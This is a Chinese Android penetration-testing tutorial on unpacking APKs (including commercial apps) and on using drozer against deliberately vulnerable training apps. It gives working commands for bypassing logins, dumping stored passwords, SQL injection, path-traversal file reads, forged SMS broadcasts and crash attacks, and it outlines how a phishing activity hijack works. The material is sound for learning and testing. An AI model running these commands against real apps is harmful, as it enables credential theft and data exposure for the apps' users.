APP渗透测试-drozer

admin 2024年11月11日20:38:51评论31 views字数 6110阅读20分22秒阅读模式

一、查壳
查壳主要就是方便对APK文件进行反编译。
1、探探查壳
探探APK文件使用了阿里聚安全进行加固
APP渗透测试-drozer
2、soul查壳
未加壳
APP渗透测试-drozer
二、脱壳
1、脱壳流程
下载相应的BlackDex的apk文件,安装在手机或者模拟器中; 
打开选择脱壳文件,进行脱壳,得到dex文件; 
将dex文件复制到jex2jar目录下; 
再使用jex2jar将其反编译为jar文件:d2j-dex2jar.bat cookie1.dex; 
生成相应的jar文件,再去用jd-gui查看。
1.1利用BlackDex对七猫免费小说进行脱壳
APP渗透测试-drozer
1.2下载文件
adb -s 127.0.0.1:5559 pull /storage/emulated/0/Android/data/top.niunaijun.blackdexa64/dump/com.kmxs.reader E:333
APP渗透测试-drozer
APP渗透测试-drozer
1.3打开文件
利用jadx-gui-1.5.0工具打开从模拟器导出的dex文件
APP渗透测试-drozer
三、drozer
1、安装drozer
环境:python2.7.18 安装包:PCdrozer-2.4.4.win32.msi 手机端 drozer-agent-2.3.4.apk
APP渗透测试-drozer
1.1 安装drozer-2.4.4.win32.msi
双击下载的安装程序,点击next
APP渗透测试-drozer
路径选择为python2的路径,点击next,即可安装成功
APP渗透测试-drozer
APP渗透测试-drozer
1.2 模拟器安装drozer-agent-2.3.4.apk
APP渗透测试-drozer
双击打开该程序,点击右下角的开启,然后进入embedded server,点击enabled开启服务
APP渗透测试-drozer
APP渗透测试-drozer
1.3 连接模拟器
进入模拟器安装文件夹
adb connect 127.0.0.1:5559
APP渗透测试-drozer
1.4 adb端口转发
adb -s 127.0.0.1:5559 forward tcp:31415 tcp:31415
APP渗透测试-drozer
1.5 运行drozer
进去python2文件夹,运行drozer
drozer.bat console connect 127.0.0.1:5559
APP渗透测试-drozer
2、四大组件
2.1 组件说明
Activity:代表应用程序中的单个屏幕或用户界面
Service:代表应用程序中的后台任务
Broadcast Receiver:用于接收系统广播和应用程序内部广播
Content Provider:用于应用程序之间共享数据
2.2 查看待检测程序的包名
run app.package.list -f sieve //sieve为app_name
APP渗透测试-drozer
2.3 查看程序包信息
run app.package.info -a com.mwr.example.sieve
得到数据存放路径:/data/user/0/com.mwr.example.sieve
APK路径:
/data/app/com.mwr.example.sieve-dWAauLoj3egOJDCcPvEANA==/base.apk
APP渗透测试-drozer
2.4 查找攻击面
run app.package.attacksurface com.mwr.example.sieve //可了解目标应用暴露在外的可被攻击的组件和服务
APP渗透测试-drozer
  • activities exported  越权攻击,发送伪造消息等;
  • broadcast receivers exported 发送恶意广播,伪造广播消息,越权攻击等;
  • content providers exported 数据泄漏,SQL注入等;
  • services exported 越权攻击,服务拒绝,权限提升等;
前面的数字代表每种组件有多少个是暴露的,说明是存在风险的。可以看到有 3 个 activity、0 个广播接收者、2 个内容提供者和 2 个服务可以被导出,开启了 debug 模式。
3、组件测试
3.1 Activity
权限绕过:Activity 用户界面绕过会造成用户信息窃取;
拒绝服务攻击:通过 Intent 给 Activity 传输畸形数据使得程序崩溃从而影响用户体验;
Activity 劫持:组件导出导致钓鱼欺诈,Activity 界面被劫持产生欺诈等安全事件;
隐式启动 intent 包含敏感数据:敏感信息泄露;
3.1.1 权限绕过
原理介绍:在Android系统中,Activity默认是不导出的,如果设置了exported = "true" 这样的关键值或者是添加了<intent-filter>这样的属性,那么此时Activity是导出的,就会导致越权绕过或者是泄露敏感信息等安全风险。例如:一些敏感的界面需要用户输入密码才能查看,如果没有对调用此Activity的组件进行权限验证,就会造成验证的越权问题,导致攻击者不需要密码就可以打开 通过IntentActivity传输畸形数据使得程序崩溃拒绝服务 对Activity界面进行劫持测试APPSieve.apk
3.1.1.1查看具体可导出的 Activity 组件信息
run app.activity.info -a com.mwr.example.sieve
APP渗透测试-drozer
从名字可以看出:com.mwr.example.sieve.FileSelectActivity应该是与目录相关的包;com.mwr.example.sieve.MainLoginActivity 应该是与登录相关的包;com.mwr.example.sieve.PWList 应该是与密码相关的包
3.1.1.2调用密码相关组件,可实现绕过登录
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
APP渗透测试-drozer
3.1.2 Activity 劫持
原理介绍:Android APP中不同界面的切换通过Activity的调度来实现,而Acticity的调度是由Android系统中的AMS来实现。每个应用想启动或停止一个进程,都报告给AMS,AMS收到启动或停止Activity的消息时,先更新内部记录,再通知相应的进程或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity会保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back,顶部的Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。 由于Activity的这种特性,如果在启动一个Activity时,给它加入一个标志位FLAGACTIVITYNEW_TASK,就能使它置于栈顶并立马呈现给用户,如果这个Activity是用于盗号的伪装Activity,就会产生钓鱼安全事件或者一个Activity中有webview加载,允许加载任意网页都有可能产生钓鱼事件。实现原理:如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证 实现步骤:启动一个服务 不断扫描当前进程 找到目标后弹出伪装窗口测试APP:uihijackv2.0_sign.apk
run app.package.list -f Hijackrun app.package.attacksurface com.test.uihijackrun app.activity.info -a com.test.uihijackrun app.activity.start --component com.test.uihijack com.test.uihijack.MainActivity
查看组件,调用组件,执行命令,若 uihijackv2.0_sign 界面位于被测软件上,则存在漏洞,若被测页面无变化则不存在漏洞。
APP渗透测试-drozer
APP渗透测试-drozer
3.1.3拒绝服务攻击
原理介绍: Android提供Intent机制来协助应用间的交互和通讯,通过Intent实现对应用中一次操作的动作、动作涉及数据、附加数据进行描述,Android通过Intent的描述,负责找到对应组件,完成调用。 拒绝服务攻击源于程序没有对Intent。getXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者向应用发送此类空数据、异常或者畸形数据来达到致使该应用crash的目的,我们可以通过intent发送空数据、异常或畸形数据给正常应用,导致其崩溃。本地拒绝服务可以被竞争方利用来攻击,使得自己的应用崩溃,造成破坏。危害: 拒绝服务漏洞对于锁屏应用、安全防护类软件危害是巨大的
查看暴露的组件,然后进行调用,查看是否出现程序崩溃情况。
run app.package.attacksurface org.owasp.goatdroid.fourgoatsrun app.activity.info -a org.owasp.goatdroid.fourgoats
APP渗透测试-drozer
APP渗透测试-drozer
3.2 Service
3.2.1查看具体的攻击面
run app.service.info -a com.mwr.example.sieve
发现AuthService和CryptoService,分别对两个service测试
APP渗透测试-drozer
3.2.2获取password
绑定到一个已导出的服务,并向其发送一条消息。如果服务发送了一个回复,则显示接收到的消息及其包含的任何数据【发送数据到服务,并 dump 数据】
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1234 --bundle-as-obj
当输入的PIN值不正确时返回我们枚举的PIN值,当正确时返回主password
APP渗透测试-drozer
--msg和--extra参数来源:
APP渗透测试-drozer
APP渗透测试-drozer
3.3 Conten Provider
3.3.1 查看具体的攻击面
run app.provider.info -a com.mwr.example.sieve
APP渗透测试-drozer
3.3.2 对攻击面进行测试,列出 URI
对 com.mwr.example.sieve.DBContentProvider 攻击面进行测试,列出 URI
run app.provider.finduri com.mwr.example.sieve
APP渗透测试-drozer
3.3.3 获取所有可以访问的URL
对url进行扫描,查看能访问的url地址
run scanner.provider.finduris -a com.mwr.example.sieve
APP渗透测试-drozer
3.3.4 查看获取的url地址的数据
获取到用户信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
APP渗透测试-drozer
3.3.4 SQL注入
run scanner.provider.injection -a com.mwr.example.sieve
APP渗透测试-drozer
对注入点进行测试
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*"run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "*"
APP渗透测试-drozer
3.3.5 目录遍历
检测是否存在目录遍历
run scanner.provider.traversal -a com.mwr.example.sieve
APP渗透测试-drozer
利用目录遍历漏洞进行文件读取
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hostsrun app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../../../../../../..//data/user/0/com.mwr.example.sieve/databases/database.dbrun app.provider.read content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db
3.4 Broadcast Receiver
需要 jadx反编译查看源代码,在源代码中查看广播名,一般只查看广播名的后半段,
3.4.1 查看具体的攻击面
run app.package.list -f fourgoats //查看程序的包名run app.package.info -a org.owasp.goatdroid.fourgoats //查看程序包信息run app.package.attacksurface org.owasp.goatdroid.fourgoats //查看程序攻击面run app.broadcast.info -a org.owasp.goatdroid.fourgoats //查看具体的攻击面
APP渗透测试-drozer
3.4.2 消息伪造(发送恶意广播)
查看AndroidManifest.xml 文件,receiver 的 exported 设置未进行设置,说明可以发送恶意广播。
APP渗透测试-drozer
再查看源代码,可以看到源代码参数phoneNumber和massage,会发送Your text message has been sent!
APP渗透测试-drozer
发送恶意代码
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1380 --extra string message test //phoneNumber可尝试填写自己的试试
APP渗透测试-drozer
APP渗透测试-drozer
3.4.3 拒绝服务攻击
拒绝服务分两种空 actoin 和空 extras
  • 空action
run app.broadcast.send --component 包名 广播名
APP渗透测试-drozer
APP渗透测试-drozer
  • 空extras
向广播组件发送不完整intent,使用空 extras,可以看到应用停止运行
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
APP渗透测试-drozer
APP渗透测试-drozer

原文始发于微信公众号(白帽攻防):APP渗透测试-drozer

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日20:38:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   APP渗透测试-drozerhttp://cn-sec.com/archives/3383111.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息